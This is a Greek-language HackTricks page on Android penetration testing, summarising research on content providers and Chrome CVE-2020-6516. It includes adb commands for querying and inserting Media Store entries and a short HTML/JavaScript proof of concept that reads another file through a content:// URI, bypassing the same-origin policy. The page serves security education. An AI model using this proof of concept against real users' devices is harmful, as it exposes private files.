hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

102 lines
8.7 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 22:40:18 +00:00
**Αυτό είναι ένα σύνοψη του άρθρου [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
2021-05-04 11:44:49 +00:00
2024-02-10 22:40:18 +00:00
### Καταχώρηση Αρχείων στο Media Store
Για να καταχωρήσετε αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file
```
2024-02-10 22:40:18 +00:00
Για ένα πιο φιλικό προς τον χρήστη αποτέλεσμα, εμφανίζονται μόνο ο αναγνωριστικός αριθμός και η διαδρομή του κάθε ευρετηριασμένου αρχείου:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
2024-02-10 22:40:18 +00:00
Οι πάροχοι περιεχομένου είναι απομονωμένοι στο δικό τους ιδιωτικό namespace. Η πρόσβαση σε έναν πάροχο απαιτεί το συγκεκριμένο `content://` URI. Πληροφορίες σχετικά με τις διαδρομές για την πρόσβαση σε έναν πάροχο μπορούν να ανακτηθούν από τα αρχεία manifest των εφαρμογών ή από τον πηγαίο κώδικα του πλαισίου εφαρμογών Android.
2021-05-04 11:44:49 +00:00
2024-02-10 22:40:18 +00:00
### Πρόσβαση του Chrome σε Πάροχους Περιεχομένου
Ο Chrome στο Android μπορεί να έχει πρόσβαση σε πάροχους περιεχομένου μέσω του σχήματος `content://`, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που εξάγονται από εφαρμογές τρίτων. Για να επιδείξουμε αυτό, μπορεί να εισαχθεί ένα αρχείο στο Media Store και στη συνέχεια να έχει πρόσβαση μέσω του Chrome:
2021-05-04 11:44:49 +00:00
2024-02-10 22:40:18 +00:00
Εισαγωγή μιας προσαρμοσμένης καταχώρησης στο Media Store:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
2024-02-10 22:40:18 +00:00
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
2021-05-04 11:44:49 +00:00
```
2024-02-10 22:40:18 +00:00
Ανακαλύψτε τον αναγνωριστικό του νεοεισαχθέντος αρχείου:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
content query --uri content://media/external/file \
2024-02-10 22:40:18 +00:00
--projection _id,_data | grep test.txt
2024-02-05 02:29:11 +00:00
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
2021-05-04 11:44:49 +00:00
```
2024-02-10 22:40:18 +00:00
Το αρχείο μπορεί να προβληθεί στο Chrome χρησιμοποιώντας ένα URL που κατασκευάζεται με τον αναγνωριστικό του αρχείου.
2021-05-04 11:44:49 +00:00
2024-02-10 22:40:18 +00:00
Για παράδειγμα, για να εμφανιστούν οι αρχείο που σχετίζονται με μια συγκεκριμένη εφαρμογή:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
2021-05-04 11:44:49 +00:00
```
2024-02-10 22:40:18 +00:00
### Chrome CVE-2020-6516: Παράκαμψη του Same-Origin-Policy
2021-05-04 11:44:49 +00:00
2024-02-10 22:40:18 +00:00
Το _Same Origin Policy_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες να αλληλεπιδρούν με πόρους από διαφορετικές προέλευσεις, εκτός αν επιτρέπεται ρητά από μια πολιτική Cross-Origin-Resource-Sharing (CORS). Αυτή η πολιτική στοχεύει στην αποτροπή διαρροών πληροφοριών και επιθέσεων cross-site request forgery. Ο Chrome θεωρεί το `content://` ως ένα τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε URL με τοπικό σχήμα θεωρείται ως ξεχωριστή προέλευση.
2021-05-04 11:44:49 +00:00
2024-02-10 22:40:18 +00:00
Ωστόσο, η CVE-2020-6516 ήταν μια ευπάθεια στον Chrome που επέτρεπε την παράκαμψη των κανόνων SOP για πόρους που φορτώνονται μέσω ενός URL `content://`. Στην πράξη, ο κώδικας JavaScript από ένα URL `content://` μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL `content://`, πράγμα που αποτελούσε σημαντικό πρόβλημα ασφαλείας, ειδικά σε συσκευές Android που εκτελούν εκδόσεις προηγούμενες της Android 10, όπου δεν είχε εφαρμοστεί η scoped storage.
2021-05-04 11:44:49 +00:00
2024-02-10 22:40:18 +00:00
Το παρακάτω παράδειγμα επίδειξης αποδεικνύει αυτήν την ευπάθεια, όπου ένα έγγραφο HTML, μετά τη μεταφόρτωσή του στον φάκελο **/sdcard** και την προσθήκη του στο Media Store, χρησιμοποιεί το `XMLHttpRequest` στον κώδικα JavaScript του για να έχει πρόσβαση και να εμφανίσει το περιεχόμενο ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.
2021-05-04 11:44:49 +00:00
2024-02-10 22:40:18 +00:00
Παράδειγμα HTML επίδειξης:
2024-02-05 02:29:11 +00:00
```xml
2021-05-04 11:44:49 +00:00
<html>
<head>
2024-02-10 22:40:18 +00:00
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
2021-05-04 11:44:49 +00:00
</head>
<body onload="poc()"></body>
</html>
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>